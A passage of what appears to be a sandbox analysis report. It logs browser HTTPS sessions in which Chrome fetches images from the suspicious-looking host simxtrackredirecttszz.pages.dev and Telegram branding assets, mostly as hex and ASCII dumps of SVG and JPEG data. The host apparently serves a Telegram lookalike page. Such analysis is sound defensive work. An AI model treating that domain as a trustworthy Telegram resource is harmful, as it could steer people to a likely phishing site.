d="M149.1,537.6c7.8-0.5,7.7,13.3-1.1,9.7c-4.1-1.7-3.8-9.2,0.9-9.7C149,537.6,149.1,537.6,149.1,537.6z"/><path class="st0" d="M124.6,541.5c10.8,5.3-1.6,21.3-9.1,12.2c-4.9-5.9,2-15.4,8.8-1
2024-05-23 22:51:27 UTC	16384	IN	Data Raw: 38 0a 09 09 63 38 2e 34 2c 36 2e 38 2d 32 33 2e 31 2c 33 31 2e 35 2d 32 33 2e 31 2c 33 31 2e 35 22 2f 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 36 32 35 2c 32 34 37 37 2e 36 63 2d 32 2e 32 2c 32 2e 36 2d 32 35 2e 36 2c 32 31 2e 34 2d 32 36 2e 38 2c 32 32 2e 36 22 2f 3e 0a 09 3c 6c 69 6e 65 20 63 6c 61 73 73 3d 22 73 74 30 22 20 78 31 3d 22 36 34 30 2e 36 22 20 79 31 3d 22 32 34 36 35 22 20 78 32 3d 22 36 33 35 2e 32 22 20 79 32 3d 22 32 34 36 39 2e 33 22 2f 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 36 34 36 2e 39 2c 32 34 37 32 2e 34 63 30 2c 30 2d 33 38 2e 39 2c 32 37 2e 38 2d 34 31 2e 36 2c 33 31 2e 39 22 2f 3e 0a 3c 2f 67 3e 0a 3c 67 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 Data Ascii: 8c8.4,6.8-23.1,31.5-23.1,31.5"/><path class="st0" d="M625,2477.6c-2.2,2.6-25.6,21.4-26.8,22.6"/><line class="st0" x1="640.6" y1="2465" x2="635.2" y2="2469.3"/><path class="st0" d="M646.9,2472.4c0,0-38.9,27.8-41.6,31.9"/></g><g><path class="st
2024-05-23 22:51:27 UTC	16384	IN	Data Raw: 67 6f 6e 20 63 6c 61 73 73 3d 22 73 74 30 22 20 70 6f 69 6e 74 73 3d 22 33 39 33 2e 34 2c 34 37 30 2e 31 20 33 39 34 2e 39 2c 34 37 36 2e 37 20 33 38 30 2e 33 2c 34 37 36 2e 37 20 33 37 39 2e 38 2c 34 37 31 2e 35 20 09 22 2f 3e 0a 09 3c 70 6f 6c 79 67 6f 6e 20 63 6c 61 73 73 3d 22 73 74 30 22 20 70 6f 69 6e 74 73 3d 22 34 31 33 2e 37 2c 34 36 35 2e 32 20 34 31 36 2e 34 2c 34 37 31 2e 35 20 34 32 38 2c 34 36 31 20 34 32 34 2e 39 2c 34 35 36 2e 35 20 09 22 2f 3e 0a 3c 2f 67 3e 0a 3c 67 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 37 34 30 2e 33 2c 31 33 35 31 2e 38 63 31 31 2e 34 2d 32 32 2c 33 37 2e 33 2d 33 34 2c 34 34 2e 34 2d 33 35 2e 32 63 30 2c 30 2d 32 30 2e 39 2d 31 35 2e 37 2d 33 36 2e 33 2d 38 2e 34 63 2d 31 30 2e 39 Data Ascii: gon class="st0" points="393.4,470.1 394.9,476.7 380.3,476.7 379.8,471.5 "/><polygon class="st0" points="413.7,465.2 416.4,471.5 428,461 424.9,456.5 "/></g><g><path class="st0" d="M740.3,1351.8c11.4-22,37.3-34,44.4-35.2c0,0-20.9-15.7-36.3-8.4c-10.9
2024-05-23 22:51:27 UTC	16384	IN	Data Raw: 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 34 33 39 2e 36 2c 31 32 32 38 2e 33 63 33 2e 34 2c 32 2e 35 2c 32 2e 34 2c 31 34 2e 36 2d 31 35 2e 36 2c 36 2e 39 22 2f 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 34 32 37 2e 36 2c 31 32 33 36 2e 35 63 30 2e 32 2c 33 2e 35 2d 33 2e 35 2c 38 2e 37 2d 31 30 2e 38 2c 35 2e 34 22 2f 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 33 36 33 2e 32 2c 31 32 30 34 2e 35 63 2d 33 2e 39 2c 31 2e 32 2d 32 2e 37 2c 39 2e 35 2c 32 2e 34 2c 39 2e 31 22 2f 3e 0a 09 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 33 36 30 2e 39 2c 31 32 33 38 2e 35 63 2d 37 2e 32 2c 30 2e 33 2d 31 37 2d 31 2e 33 2d 32 32 2e 33 2d 38 2e 36 63 33 2e 34 2c Data Ascii: ath class="st0" d="M439.6,1228.3c3.4,2.5,2.4,14.6-15.6,6.9"/><path class="st0" d="M427.6,1236.5c0.2,3.5-3.5,8.7-10.8,5.4"/><path class="st0" d="M363.2,1204.5c-3.9,1.2-2.7,9.5,2.4,9.1"/><path class="st0" d="M360.9,1238.5c-7.2,0.3-17-1.3-22.3-8.6c3.4,
2024-05-23 22:51:27 UTC	16384	IN	Data Raw: 35 2e 36 2c 39 2e 37 2d 39 2e 37 2c 31 35 2e 32 2d 35 2e 34 63 36 2e 34 2c 35 2c 35 2e 34 2c 31 38 2e 39 2d 31 35 2c 32 37 2e 39 63 2d 32 31 2e 36 2d 31 30 2e 32 2d 32 30 2e 37 2d 32 32 2e 31 2d 31 37 2e 32 2d 32 36 2e 37 0a 09 43 38 34 34 2e 37 2c 31 38 32 39 2e 32 2c 38 35 35 2e 32 2c 31 38 33 30 2e 39 2c 38 35 37 2e 33 2c 31 38 33 39 2e 31 7a 22 2f 3e 0a 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 38 31 36 2e 37 2c 32 30 34 32 2e 31 63 34 2e 38 2d 37 2e 33 2c 31 36 2e 35 2d 31 31 2c 32 33 2d 33 2e 34 63 37 2e 37 2c 38 2e 39 2c 32 2e 34 2c 32 38 2e 32 2d 32 39 2c 33 35 2e 34 63 2d 32 37 2e 37 2d 32 30 2e 35 2d 32 33 2e 33 2d 33 37 2e 31 2d 31 37 2e 31 2d 34 32 2e 35 0a 09 43 38 30 31 2e 37 2c 32 30 32 34 2e 36 2c 38 31 36 2c 32 30 Data Ascii: 5.6,9.7-9.7,15.2-5.4c6.4,5,5.4,18.9-15,27.9c-21.6-10.2-20.7-22.1-17.2-26.7C844.7,1829.2,855.2,1830.9,857.3,1839.1z"/><path class="st0" d="M816.7,2042.1c4.8-7.3,16.5-11,23-3.4c7.7,8.9,2.4,28.2-29,35.4c-27.7-20.5-23.3-37.1-17.1-42.5C801.7,2024.6,816,20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49724	23.211.8.90	443

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:51:29 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-23 22:51:29 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=235099 Date: Thu, 23 May 2024 22:51:29 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49726	172.66.46.238	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:51:30 UTC	372	OUT	GET /img/profile-1.jpg HTTP/1.1 Host: simxtrackredirecttszz.pages.dev Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:51:30 UTC	758	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:51:30 GMT Content-Type: image/jpeg Content-Length: 156077 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: "398570c34aafa08182d3cd0963670b22" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5CpNa4Ii6jEfApifYgZLDGi7vf2pGgS4iLCd1u8BxhJOLtzPqS5VcZBrhIpczrW0rXQjUU4PcQkiGIPItn52UHicM0tM0suOyDw%2FP8UtJvKYS%2B%2BJitQy4cCAmlv%2FKPfs03R7fl2Ds01JctBUzGMUq0Lq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88889c6b4e6a8c63-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 22:51:30 UTC	611	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e2 02 28 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 02 18 00 00 00 00 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 00 00 00 00 00 00 00 00 00 00 00 00 61 63 73 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 f6 d6 00 01 00 00 00 00 d3 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 64 65 73 63 00 00 00 f0 00 00 00 74 72 58 59 5a 00 00 01 64 00 00 00 14 67 58 59 5a 00 00 01 78 00 00 00 14 62 58 59 5a 00 00 01 8c 00 00 00 14 72 54 52 43 00 00 01 a0 00 00 00 28 67 54 52 43 00 00 01 a0 00 00 00 28 62 54 52 43 00 00 01 a0 00 00 00 28 77 Data Ascii: JFIFHH(ICC_PROFILEmntrRGB XYZ acsp-desctrXYZdgXYZxbXYZrTRC(gTRC(bTRC(w
2024-05-23 22:51:30 UTC	1369	IN	Data Raw: 0f 0e 11 13 18 14 11 12 17 12 0e 0f 15 1c 15 17 19 19 1b 1b 1b 10 14 1d 1f 1d 1a 1f 18 1a 1b 1a ff db 00 43 01 04 05 05 06 05 06 0c 07 07 0c 1a 11 0f 11 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a ff c2 00 11 08 04 2f 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 02 03 00 01 04 05 06 07 08 ff c4 00 1b 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 8c ea 6c e1 ae 7e e6 45 1b aa af 4b bf ce 7a 42 a4 85 b1 77 5a 60 9a 63 c5 d8 e0 c7 48 09 8b cd c5 d1 c4 9c 3c bd 3e 74 b8 57 a3 32 5c 94 39 d9 9c 7b b2 e5 f5 35 91 b9 5a 81 72 15 72 02 Data Ascii: C/8"l~EKzBwZ`cH<>tW2\9{5Zrr
2024-05-23 22:51:30 UTC	1369	IN	Data Raw: 14 ba be 89 75 0a 92 ca a2 85 42 95 eb d9 c8 eb 92 49 17 af 23 6b 64 b9 a7 1c f6 f3 cd 18 b5 a6 30 73 3a f8 63 85 9b 6e 68 c3 0a a2 5d 4a d3 e9 3c ce eb 9f 61 46 1a 92 ae aa 84 c4 80 52 86 5c 06 8a a5 0b b8 0d 5d 12 ae e0 68 a8 aa ba 2a 5c b2 84 a8 58 32 85 42 88 ec 7e b7 ca e7 9a aa ea a8 2d 64 18 11 3a 9c 3e 81 dc f6 be 2b d8 ef 4d 92 5d 0e 4d b9 8d 16 a6 ac 92 12 41 52 1e 3f 8f e7 af a0 f2 fe 5d 87 8f a3 e8 de 67 cc d7 2f 43 73 32 b1 d1 5a 95 72 e9 dd c7 89 e8 f5 79 0a b8 fa 1f 6b e4 33 a7 3f 5f f3 1f 4b 96 6f 82 db 47 3e dd 27 f2 b7 67 4f 5b 6a 17 9f 4a b5 9c fd 8e 13 75 c7 d0 8e 32 ef c3 42 f2 67 d6 2f 1d 69 e9 ce 7d 63 6e 1e 9e 65 72 7a fc 99 93 20 39 6e ae 8a 08 05 62 d7 87 33 83 cf f4 98 78 4f 2b c8 ef 72 a8 a0 4d be d6 58 f6 6b d5 2a e1 75 56 54 Data Ascii: uBI#kd0s:cnh]J<aFR\]h\X2B~-d:>+M]MAR?]g/Cs2Zryk3?_KoG>'gO[jJu2Bg/i}cnerz 9nb3xO+rMXkuVT
2024-05-23 22:51:30 UTC	1369	IN	Data Raw: 5e 0c 78 f7 73 e4 75 d5 92 ae 40 d1 09 55 67 ae 68 1e 89 f5 f3 d4 74 f5 f8 fc ff 00 57 9a cf 95 f7 db 87 d1 f9 89 7b b3 3e 8b 64 92 d9 52 2d d0 da 5c 94 cf 57 d0 f8 cf 64 14 1b 8b 7a 2e ba 64 a6 d9 97 9f da e0 9b 73 30 a5 e5 f3 fa 98 8e 1a 76 64 33 8b 02 25 5c 34 f6 38 9a 6c f6 30 ab 79 a9 74 49 28 aa 2a aa b9 22 a4 84 ab a2 49 44 92 14 25 01 a2 12 84 fc ee 3a 75 3c 86 3a f0 fd 10 8c 1e 1e 95 8b 15 34 2a b0 4a 0b 0d 4a 5c 5f 5c 2e f2 f5 b5 3a fa 96 ef 3f a0 ce d9 9a 25 44 b5 45 01 bb 10 40 e9 01 0f 82 9b 21 57 22 4a b1 5b 12 a4 08 74 00 1d 03 08 58 8b 20 d0 6a e9 01 65 54 b4 3d 17 2b 5b 57 ac a8 0c 37 99 af 9e 57 8f 77 96 ed 6b cd 6a ae 6f dd 74 fe 75 ef 3d 5f 3a f9 9d 1e 7f 5f 29 1c df be 78 67 5d 3d 79 66 76 66 76 f2 3c 03 0f 5e 3b d7 c3 e6 6f 1e 9a 78 Data Ascii: ^xsu@UghtW{>dR-\Wdz.ds0vd3%\48l0ytI("ID%:u<:4JJ\_\.:?%DE@!W"J[tX jeT=+[W7Wwkjotu=_:_)xg]=yfvfv<^;ox
2024-05-23 22:51:30 UTC	1369	IN	Data Raw: 0a 8a 85 45 4b 80 49 60 c9 45 5c b0 04 84 1b b0 4a ab ab 05 6c 82 85 81 41 2a a0 41 8a b8 05 b1 4c a5 6d 56 a2 96 6a eb 80 ce c4 dc a8 18 9b ce a0 cd 43 b0 b5 26 2a d1 ce c8 c3 a2 de 6e c4 81 ab 3e 3b 1f 5b 8e 5d 38 f9 b4 fb bf 0d f6 7f 2f 06 c7 d5 f3 ea 48 bf a5 53 a0 7e 2f ea 7c 38 f5 79 49 24 a3 d1 f9 9e a1 1e 57 e7 ff 00 51 f9 a6 99 35 d7 b8 d1 7e 9a 83 34 54 59 c0 c6 ec 79 4f ae 7c 77 e8 07 a4 b1 bd 09 8a 33 a4 dc 9a ec 0e 1f 7b 91 04 8d 0a 97 9b 93 a3 9b 4e 35 39 62 15 a6 91 2c 65 21 74 79 a5 67 b4 ab 95 52 4b 65 5c 92 a5 d1 24 85 71 bb 3e 23 8f 6e 0b 94 ff 00 99 f6 8d 82 dc f4 b3 18 38 c0 8b ba 28 90 ae a1 d1 d9 f3 2f 2f a3 27 d4 ed d0 f4 5c 8e b7 2e 68 5e 8a 97 ca 69 76 4f 57 ab dd 7a df 91 fd 57 e7 f0 d2 54 7e 5e 55 0a c0 a3 12 a5 c0 65 c0 65 d0 Data Ascii: EKI`E\JlAALmVjC&n>;[]8/HS~/\|8yI$WQ5~4TYyO\|w3{N59b,e!tygRKe\$q>#n8(//'\.h^ivOWzWT~^Uee
2024-05-23 22:51:30 UTC	1369	IN	Data Raw: a1 88 e7 09 a1 92 11 b0 b4 e6 60 ff 00 5b e5 ba 67 a0 92 54 ab a0 4c 6e 6b e5 42 e4 7c af b2 f6 a9 bc bb b4 d6 6d 1b 14 70 75 44 49 20 bf 8f fb 8f 9e 7b 7a bb ec 7e 33 dc 63 3a c9 05 e6 e4 dc e6 a9 56 36 b5 bb 01 35 16 72 18 9b 55 5a c2 0e c9 a2 ad f1 9e 67 eb 3c df 57 4f 9c ab af ce f6 76 d9 ec 3c 1a 79 e7 ea ef f9 d7 ab f1 70 ee 33 11 f2 ce a5 2c 64 30 a5 96 a8 94 b5 88 5c 5a 69 57 04 9a 56 c4 98 ad 62 c0 55 79 d2 87 3e f9 4c c4 9e d8 cf 86 37 78 7e ac fa 79 ed ac 53 31 a3 b1 25 b9 56 96 42 6a 50 4a 52 21 25 92 45 92 42 5d 5d cd c9 0f d0 b2 57 ab e7 8c 91 46 10 99 3c 9f b8 f2 71 8c 6e cb ee 70 7b a7 9c e6 f6 79 e7 35 89 6e 90 0a b5 9a 92 04 42 59 db bd 5f 93 dd 1e ec c6 0c 24 99 d4 7f 37 a3 a8 7c 5e ce 0a ca f4 68 39 b8 7a 5c e4 e6 23 5e 44 5c 90 23 51 Data Ascii: `[gTLnkB\|mpuDI {z~3c:V65rUZg<WOv<yp3,d0\ZiWVbUy>L7x~yS1%VBjPJR!%EB]]WF<qnp{y5nBY_$7\|^h9z\#^D\#Q
2024-05-23 22:51:30 UTC	1369	IN	Data Raw: 4c 08 05 39 56 25 5a 93 ac a2 98 ab ce ea 4d f3 d3 e3 fd 56 8e de 7f cf c5 f6 6f 90 7a 7c a0 d4 15 c6 b6 e4 3c 6f 5b 33 16 6e 93 cc d9 5a 49 92 ba 01 44 b1 83 22 e8 60 ae 06 4b 9a 32 2e 57 df 89 2c e9 e5 e8 74 b8 9d 9d 2e ac 6c aa 2a 24 1b ac 9e 4f db f9 48 c9 57 59 ac ec 70 fd 01 e7 3c c7 a7 e4 d7 11 8a aa db 78 dc 3a ae ea 88 06 9d f4 3f 9b fa 9c 3d 5c 21 94 cd 4c b3 a4 dc 9a 77 17 ca ed f1 2b 76 17 31 38 38 3a b8 23 20 b5 40 dd 40 f6 63 6a ea f4 fe 7f 4d 7a 71 b1 a9 52 8b f3 dd f2 e7 af 8a bb b9 e7 bc 1f 53 5b 50 ce 1e 86 7c df df fc f7 bf 6f 5f d6 1b e4 b7 29 d8 8c b0 24 22 97 55 e2 fd 5f 33 b6 bc 77 2d be c3 db da bd 0f 99 f4 fc 3c fb d9 65 e3 8b 38 52 dc b2 8a 87 4a 14 c1 94 65 91 56 43 52 4a 5b 92 e2 40 81 92 62 b4 d2 d0 c6 8c 83 20 14 ca 45 03 05 Data Ascii: L9V%ZMVoz\|<o[3nZID"`K2.W,t.l*$OHWYp<x:?=\!Lw+v188:# @@cjMzqRS[P\|o_)$"U_3w-<e8RJeVCRJ[@b E
2024-05-23 22:51:30 UTC	1369	IN	Data Raw: dd c8 d6 3b 6e cb a4 73 10 eb 39 8a eb 70 cd d2 43 e5 21 94 7e 27 eb b5 56 4b 1e 98 5a 5b e4 c9 8c 4b 48 a6 93 2b cb bc 34 cb 9f 77 36 df 41 f4 7f 8e fa 0e 3e af 77 c2 ec 8f 2e fc 5b d8 52 e2 1e bb e3 cd e7 ef 26 ce 4e 6e e6 ee 99 f1 e5 ea f8 d7 9e 2e 97 25 ac 74 f4 73 75 a7 5f 67 95 d1 73 f4 11 f2 7b 7d 1e 1e e2 f3 3f d9 f2 41 d7 3b f1 34 d5 b9 b2 94 ed 64 18 86 5c 2c ad 65 ac 98 2e ed de 7f 7d e4 cc 7f 1b f5 7a 40 0f cd e9 26 8d e3 47 62 73 44 75 73 64 42 60 95 1c a2 c9 62 ee 52 86 0d e8 d5 f9 4f 2b dd f8 3f a3 ea bf 67 e2 b6 6a fd ad bc 8e 9f cf e0 f1 39 cb 14 12 96 c0 c6 0a c2 86 08 dd 87 63 4d be d6 11 79 0d 26 47 65 ea 5c 6c 78 68 82 2b 85 14 34 59 43 05 6f 58 ba 3b 17 4d 5a 66 0d a8 10 a7 24 42 b4 2d 9c e9 d9 9f 7c d5 06 fb f0 c1 87 b9 c9 fa 7f 01 Data Ascii: ;ns9pC!~'VKZ[KH+4w6A>w.[R&Nn.%tsu_gs{}?A;4d\,e.}z@&GbsDusdB`bRO+?gj9cMy&Ge\lxh+4YCoX;MZf$B-\|
2024-05-23 22:51:30 UTC	1369	IN	Data Raw: 91 c5 cd e8 95 5e 71 3e 91 27 20 7b ec 3c d2 bd 4a cf 2e 8f 59 89 3c e6 8e 92 11 88 7d 56 6d 2b 45 d2 b9 3d 6e 26 b8 f2 99 cb be dc fa e9 5e ac af 1b 6e 5d 5d 0f 3d b7 17 72 b4 2a 5a 5d b0 ce 2c cd 44 dc 6c b3 4b b1 5c bb 8f 9c 59 6d a4 9a b3 52 57 35 d2 dd e6 1f 3a fa c6 79 3d 98 d7 a3 be 0e cc eb ac 58 89 bd 0c ce 07 46 b1 1d 6b 14 30 e3 7c ef ea 9e 0f d1 db 84 c5 df 7e df 41 d9 e5 3b de 7c f7 36 64 d1 e4 c5 b1 45 93 5a 30 d3 9d 7b 6c 69 8b e2 db 4b 2b 4c 68 c7 29 c5 90 9a 09 d2 47 c4 c8 22 06 51 10 d2 15 09 02 23 25 10 bb 13 9f 72 8c d1 a2 21 7a 15 48 46 95 33 8f 26 dc ba e7 95 7a b2 75 e2 70 0b ec fe 5b 2e 4e a7 13 df f2 7a fa 79 fb 59 39 52 ce 55 ea 6f e6 7f 7b cc 2d ed 5c 65 d0 d1 35 cf 66 ab 69 62 d3 00 d9 1a 5d 98 33 50 a8 bb a2 4b 92 0c 62 18 1d Data Ascii: ^q>' {<J.Y<}Vm+E=n&^n]]=r*Z],DlK\YmRW5:y=XFk0\|~A;\|6dEZ0{liK+Lh)G"Q#%r!zHF3&zup[.NzyY9RUo{-\e5fib]3PKb
2024-05-23 22:51:30 UTC	1369	IN	Data Raw: 1b 38 fb bc fa e8 ed e7 68 e7 d3 a9 af 9f a7 9f 4d 93 38 4d 6a 62 61 a3 46 37 4b a7 5e 2d 71 a3 4e 53 34 da ca 9d 28 d0 cd 77 53 3e e4 c3 dd c9 dd 72 ec f0 c0 bb b0 00 e2 a0 1b 42 15 a3 38 00 74 a8 cf ad 29 91 5a 97 ae 78 13 bf 3e f1 8e b4 2b a7 2a 92 75 f3 7b 22 97 c3 e8 c9 74 c4 03 a5 04 3c 4c 9e 4f d5 f8 2b cb 29 cc bd bc ee dd cd ed e3 5d 7e 98 14 f4 2f 1e 8c 69 9f 33 73 ea 46 a1 3a 9d 1f 38 9f 3f ae 7e eb b5 e6 7d 2f 3e bd 2d dc fd 79 d7 43 4e 2d 90 e6 2c 96 d6 d1 33 e5 e8 e6 6f 1a b4 ae 33 03 d4 ca 81 cb 45 8b 05 15 08 09 56 21 58 d8 64 b8 32 a5 8a cf b4 26 7e 7b e6 3e c3 e0 7a f2 f3 4b 72 7a f3 1d 19 9a 29 d1 68 e0 bb 41 94 c5 12 21 5d 0c c8 63 53 aa 85 6d c4 58 bd 3c 5a df 8d f2 5c 97 5b 37 64 09 7a 19 77 26 ce 2e 4e fe 5d 39 f6 4b dd dd b7 03 b9 Data Ascii: 8hM8MjbaF7K^-qNS4(wS>rB8t)Zx>+*u{"t<LO+)]~/i3sF:8?~}/>-yCN-,3o3EV!Xd2&~{>zKrz)hA!]cSmX<Z\[7dzw&.N]9K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49725	149.154.167.99	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:51:30 UTC	602	OUT	GET /img/favicon.ico HTTP/1.1 Host: telegram.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://simxtrackredirecttszz.pages.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:51:30 UTC	383	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 23 May 2024 22:51:30 GMT Content-Type: image/x-icon Content-Length: 15086 Last-Modified: Thu, 21 Apr 2022 13:47:47 GMT Connection: close ETag: "62616083-3aee" Expires: Thu, 30 May 2024 22:51:30 GMT Cache-Control: max-age=604800 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Accept-Ranges: bytes
2024-05-23 22:51:30 UTC	15086	IN	Data Raw: 00 00 01 00 03 00 30 30 00 00 01 00 20 00 a8 25 00 00 36 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 de 25 00 00 10 10 00 00 01 00 20 00 68 04 00 00 86 36 00 00 28 00 00 00 30 00 00 00 60 00 00 00 01 00 20 00 00 00 00 00 00 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 da 9e 22 0d d9 9e 22 36 d9 9e 22 6f d9 9e 22 a4 d9 9e 22 cd d9 9e 22 e7 d9 9e 22 f7 d9 9e 22 fe d9 9e 22 fe d9 9e 22 f7 d9 9e 22 e7 d9 9e 22 cd d9 9e 22 a4 d9 9e 22 6f d9 9e 22 36 da 9e 23 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 00 %6 % h6(0` $""6"o"""""""""""o"6#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49727	149.154.167.99	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:51:30 UTC	358	OUT	GET /img/tgme/pattern.svg?1 HTTP/1.1 Host: telegram.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:51:30 UTC	345	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 23 May 2024 22:51:30 GMT Content-Type: image/svg+xml Content-Length: 231706 Last-Modified: Thu, 05 Jan 2023 17:52:04 GMT Connection: close ETag: "63b70e44-3891a" Expires: Mon, 27 May 2024 22:51:30 GMT Cache-Control: max-age=345600 Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-05-23 22:51:30 UTC	16039	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 41 64 6f 62 65 20 49 6c 6c 75 73 74 72 61 74 6f 72 20 32 37 2e 30 2e 31 2c 20 53 56 47 20 45 78 70 6f 72 74 20 50 6c 75 67 2d 49 6e 20 2e 20 53 56 47 20 56 65 72 73 69 6f 6e 3a 20 36 2e 30 30 20 42 75 69 6c 64 20 30 29 20 20 2d 2d 3e 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 69 64 3d 22 4c 61 79 65 72 5f 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 22 20 79 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?>... Generator: Adobe Illustrator 27.0.1, SVG Export Plug-In . SVG Version: 6.00 Build 0) --><svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="
